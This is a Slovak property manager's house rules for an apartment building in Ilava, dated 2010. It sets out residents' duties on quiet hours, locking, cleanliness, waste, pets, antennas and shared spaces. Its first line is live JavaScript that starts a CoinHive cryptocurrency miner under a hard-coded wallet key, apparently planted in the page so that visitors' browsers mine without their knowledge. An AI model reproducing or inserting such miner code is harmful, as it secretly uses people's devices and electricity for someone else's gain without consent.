var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Tento domový poriadok sa vzťahuje na nájomcov bytov, ako aj vlastníkov bytov, ktorí s ILFES s.r.o. uzatvorili zmluvu o výkone správy.

Všeobecné ustanovenia

Článok I.

Úvodné ustanovenie

Tento domový poriadok upravuje najmä vzájomné vzťahy užívateľov, vlastníkov, prenajímateľov, nájomcov a správcu domu pri užívaní bytov a nebytových priestorov, (ďalej len NP), v dome, spôsob zabezpečenia poriadku, pokoja a čistoty v dome a jeho okolí, ako aj spôsob užívania spoločných priestorov a spoločných zariadení domu. Základné práva a povinnosti vlastníkov a nájomcov bytov a nebytových priestorov v dome upravuje Občiansky zákonník, zákon č. 182/1993 Z.z. o vlastníctve bytov a nebytových priestorov v znení neskorších predpisov a zákon č.116/1990 Zb. o nájme a podnájme nebytových priestorov v znení neskorších predpisov.

Článok II .

Práva a povinnosti vlastníkov a nájomníkov bytov pri užívaní bytov

1. Vlastníci bytov, osoby ktoré s nimi žijú v spoločnej domácnosti a nájomcovia bytov majú právo užívať byt a jeho príslušenstvo, právo užívať spoločné priestory a spoločné zariadenia domu a právo používať služby, ktorých poskytovanie je spojené s užívaním bytu.

2. Vlastník bytu má právo a povinnosť zúčastňovať sa na správe domu, rozhodovať ako spoluvlastník o spoločných častiach a spoločných zariadeniach domu, príslušenstve a

pozemku, najmä o spôsobe ich prevádzky, údržby a opráv.

3. Vlastník bytu, ako aj nájomca bytu je povinný užívať byt, spoločné priestory a zariadenia domu a riadne používať plnenia, ktorých poskytovanie je spojené s užívaním bytu.

4. Vlastník bytu je povinný včas vykonať opravy v byte na spoločných častiach domu, inak zodpovedá za škody, ktoré nesplnením povinností vznikli.

5. Nájomca bytu je povinný oznámiť vlastníkovi bez zbytočného odkladu potrebu väčších opráv v byte, ktoré má znášať vlastník, a umožniť ich vykonanie, inak zodpovedá za škodu, ktorá neplnením tejto povinnosti vznikla.

6. Vlastník bytu a nájomca bytu a nebytového priestoru je povinný konať tak, aby pri užívaní, udržiavaní, zmenách, pri prenajatí bytu alebo nebytového priestoru v dome, prípadne jeho časti nerušil a neohrozoval ostatných vlastníkov a užívateľov vo výkone ich vlastníckych, spoluvlastníckych a spolu užívacích práv.

7. Vlastník a nájomca bytu je povinný umožniť na požiadanie na nevyhnutný čas a v nevyhnutnej miere vstup do bytu, alebo nebytového priestoru, správcovi, alebo osobe oprávnenej vykonať opravu a údržbu spoločných častí a zariadení domu, ktoré sú prístupné z bytu ktorý užíva.

8. Užívateľ bytu je povinný odstrániť závady a poškodenia, ktoré spôsobil v dome sám, jeho spolubývajúci, prípadne jeho návštevník. Ak sa tak nestane, má správca domu právo po predchádzajúcom upozornení závady a poškodenia odstrániť a požadovať od užívateľa náhradu.

9. Správca nezabezpečuje odstraňovanie porúch, údržbu a opravy v byte. V prípade požiadavky vlastníka – nájomcu, správca môže sprostredkovať opravy.

Článok III.

Stavebné úpravy bytu a nebytového priestoru

1. Vlastník bytu môže v dome vykonávať úpravy len ak sú v súlade s platnými právnymi predpismi. Zákon č. 50/1976 Zb. o územnom plánovaní a stavebnom poriadku (Stavebný zákon) v znení neskorších predpisov a vyhláška MŽP SR č. 453/2000 Z.z., ktorou sa vykonávajú niektoré ustanovenia stavebného zákona určujú prípady, v ktorých na stavebné práce postačí stavebnému úradu ohlásiť stavebné úpravy a udržiavacie práce a tiež prípady, v

ktorých je potrebné stavebné povolenie, ako aj prípady, v ktorých nie je potrebné ani ohlásenie.

2. Pred zámerom uskutočniť stavebné úpravy alebo udržiavacie práce v byte alebo v NP, je vlastník bytu alebo NP povinný písomne informovať správcu a príslušný stavebný úrad. Správca a stavebný úrad k zámeru vlastníka zaujmú písomne stanovisko.

3. V záujme bezpečnosti vlastníkov a užívateľov bytov, každé nedodržanie stavebného zákona o ktorom sa správca dozvedel, je povinný ohlásiť stavebnému úradu.

Užívanie bytového domu

Článok I.

Pokoj v dome

1. Vlastník bytu a osoby, ktoré s ním žijú v domácnosti, ako aj iné osoby, zdržiavajúce sa s jeho súhlasom v dome, sú povinní správať sa tak, aby nerušili užívateľov ostatných bytov a NP nadmerným hlukom, nerobili výtržnosti, ani inak nezhoršovali podmienky riadneho užívania bytov v dome.

2. Nočný kľud je stanovený od 22.00 hod. do 6.00 hod. nasledujúceho dňa. V tomto čase nie je povolené vykonávať akúkoľvek činnosť, ktorá by spôsobovala nadmerný hluk. V tomto čase nie je dovolené hrať na hudobných nástrojoch, spievať, hlučne sa zabávať ani iným spôsobom rušiť ostatných užívateľov.

3. Vlastníci bytov sú povinní v čase nočného kľudu stíšiť televízne, rozhlasové a ostatné audiovizuálne zariadenia na izbovú počuteľnosť.

Článok II.

Uzamykanie bytového domu

1. Z dôvodu zamedzenia prístupu cudzích osôb do bytového domu, ako aj ochrany majetku užívatelia bytov sú povinní uzamykať vchod do domu od 22.00 hod. do 6.00 hod.

2. Pri výmene vchodovej zámkovej vložky má vlastník každého bytu právo na jeden kľúč hradený z prostriedkov fondu údržby a opráv. Výmenu vložky a rozmnoženie kľúčov zabezpečí správca domu prostredníctvom zástupcov vlastníkov

3. Ak sú vchodové dvere vybavené automatickým otváraním z bytu vlastníka (automatický vrátnik), je užívateľ bytu povinný vchodové dvere zatvárať (nie zamykať) aj počas dňa.

Článok III.

Zabezpečenie prístupu do bytového domu

1. V každom vchode domu je schválená osoba (zástupca vlastníkov domu), ktorá zabezpečuje prístup do vchodu cudzím osobám a má kľúče od uzamknutých spoločných priestorov domu.

2. Kľúče od vchodových dverí v dome má v jednom vyhotovení aj správca domu.

3. Každý vlastník bytu má povinnosť (po identifikácii osôb) vpustiť do domu havarijnú službu, príslušníkov požiarneho zboru, osoby poskytujúcu lekársku pomoc a kontrolné orgány štátnej správy.

Článok IV.

Poriadok a čistota v dome a jeho okolí

1. Čistotu a poriadok v spoločných častiach a spoločných zariadeniach domu, ako aj v okolí domu zabezpečujú vlastníci bytov a nebytových priestorov.

2. V zimnom období aj odstránenie snehu alebo poľadovice pred vchodmi tak, aby bola zabezpečená bezpečnosť chodcov v súlade s príslušným nariadením mesta.

3. Vlastník alebo užívateľ bytu je povinný bezodkladne, na vlastné náklady, odstrániť väčšie znečistenie spoločných priestorov, ktoré spôsobil sám, jeho domáce zviera, resp. jeho návštevník.

4. V prípade vykonávania stavebných úprav v byte, ktoré je spojené so znečisťovaním spoločných priestorov v dome, najmä schodiska, je vlastník povinný zabezpečiť ich priebežné čistenie. Drobný stavebný odpad je užívateľ povinný odstrániť na vlastné náklady.

5. Systém nakladania s odpadmi upravuje Všeobecne záväzné nariadenie mesta, alebo obce o nakladaní s komunálnymi odpadmi a drobnými stavebnými odpadmi .

6. Vlastník bytu je povinný zhromažďovať a triediť komunálny odpad a jeho jednotlivé zložky ukladaním do vyhradených kontajnerov, zberných nádob, príp. miest na to určených.

7. Vlastník bytu nesmie znečisťovať stanovisko kontajnerov, nesmie poškodzovať zberné nádoby, ich označenie, ani ich premiestňovať zo stanoviska.

8. Vlastník bytu nesmie znemožniť (napr. parkovaním auta) vykonanie pravidelného odvozu odpadu.

9. Vlastník bytu nesmie do zberných nádob a kontajnerov na zmesový komunálny odpad ukladať uhynuté zvieratá, horľavý, výbušný odpad a odpad, ktorý by svojím zložením ohrozil zdravie zamestnancov organizácie, ktorá odváža a likviduje komunálny odpad, prípadne iných osôb.

10. Vlastník bytu nesmie odhadzovať odpady do kanalizačných zariadení, (záchody, výlevky) vyhadzovať odpad z okien.

11. V komunikačných priestoroch domu (schodiská, chodby) nie je dovolené uskladňovať akýkoľvek odpad, nábytok a iné nadrozmerné predmety.

12. Vlastník bytu nesmie vetrať byt (nebytový priestor) do chodby a výparmi z varenia a dymom z cigariet zamorovať ovzdušie schodiska.

Článok V.

Informačné zariadenia v dome

1. Vlastník bytu je povinný označiť ním užívaný byt, alebo nebytový priestor, ich príslušenstvo, a poštovú schránku svojím menom, resp. názvom firmy.

2. Správca domu umiestni v blízkosti domového vchodu na viditeľnom mieste závesnú tabuľu na oznamy. Základné informácie, ktoré sa na tabuli oznamujú, musia obsahovať:

– adresu správcu domu s uvedením telefónnych čísiel do firmy správcu a na havarijnú službu

– telefónne čísla pre tiesňové volania,

3. Správca označí hlavný uzáver vody, elektrickej energie a hlavný merač množstva vody (SV, TÚV)

Článok VI.

Prášenie a čistenie predmetov

1. Vytriasať, prášiť a čistiť predmety z okien bytov a NP je zakázané.

Článok VII.

Vyvesovanie a vykladanie vecí z okna a balkóna

1. Veci uložené alebo vyvesené v oknách a na balkónoch, viditeľných z verejného priestranstva nesmú rušiť vzhľad domu.

2. Kvety umiestnené na parapetoch okien a na balkónoch musia byť bezpečne zaistené proti pádu. Pri ich polievaní nesmie voda pretekať a poškodzovať spoločné časti domu, veci susediacich užívateľov a chodcov.

Článok VIII.

Užívanie spoločných priestorov domu

1. Spoločné priestory v dome môžu vlastníci bytov užívať len na účel, na ktorý boli prvotne určené. Zmena účelu užívania týchto priestorov sa môže uskutočniť len v súlade so stavebným zákonom.

2. V spoločných priestoroch domu sa nesmú umiestňovať materiály a predmety ohrozujúce

bezpečnosť vlastníkov a užívateľov bytov, ani predmety ktoré by mohli spôsobiť nebezpečenstvo vzniku požiaru alebo výbuchu.

3. Do priestorov kočikárne možno okrem detských kočíkov a invalidných vozíkov umiestňovať najmä bicykle, detské kočíky, invalidné vozíky, detské kolobežky, trojkolky, nie však mopedy a motorky.

4. Spoločné priestory a zariadenia sa nesmú poškodzovať a ani inak do nich zasahovať.

5. V spoločných priestoroch bytového domu je zákaz fajčiť.

Článok IX.

Užívanie garáží

1. Nájomca alebo vlastník garáže je povinný dodržiavať príslušné ustanovenia domového poriadku, najmä zásady udržiavania poriadku a čistoty v dome a jeho okolí, taktiež dodržiavanie nočného pokoja.

Článok X.

Chov domácich zvierat

1. Domáce zvieratá, najmä mačky a psov možno chovať v byte, iba v súlade so všeobecne záväzným nariadením mesta a mestskej časti o chove zvierat.

2. Vlastníci domácich zvierat sú povinní dbať na to, aby zvieratá nespôsobovali hygienické nedostatky, alebo nečistotu v dome a jeho okolí. Zvieracie exkrementy sú povinní bezodkladne odstrániť.

3. Vlastníci domácich zvierat sú povinní zabezpečiť, aby zvieratá nespôsobovali škody, neobťažovali ostatných užívateľov domu, najmä zavýjaním, brechaním, alebo iným spôsobom.

4. Je zakázané chovať, alebo držať zvieratá na balkónoch, v pivniciach a v iných spoločných priestoroch domu.

Článok XI.

Televízne a rozhlasové antény

1. Televízne, rozhlasové a satelitné antény na vonkajšej fasáde je možné zriaďovať len na základe písomného súhlasu správcu, vydaného na základe predchádzajúceho súhlasu väčšiny vlastníkov bytov v dome.

2. Zriaďovanie individuálnych televíznych, satelitných, rozhlasových a iných antén na dome, napojenie na káblovú televíziu podlieha súhlasu správcu domu.

Článok XII.

Spoločné a záverečné ustanovenia

1. Tento domový poriadok je záväzný pre vlastníkov a užívateľov všetkých bytov v dome, ako aj pre osoby, ktoré sa zdržiavajú v dome, vrátane podnájomníkov a členov ich domácností.

2. Správca domu zabezpečí, aby bol tento domový poriadok vyvesený na viditeľnom mieste v dome.

Článok XIII.

Tento domový poriadok nadobúda účinnosť dňom 01.02.2010 .

V Ilave, dňa 15.01.2010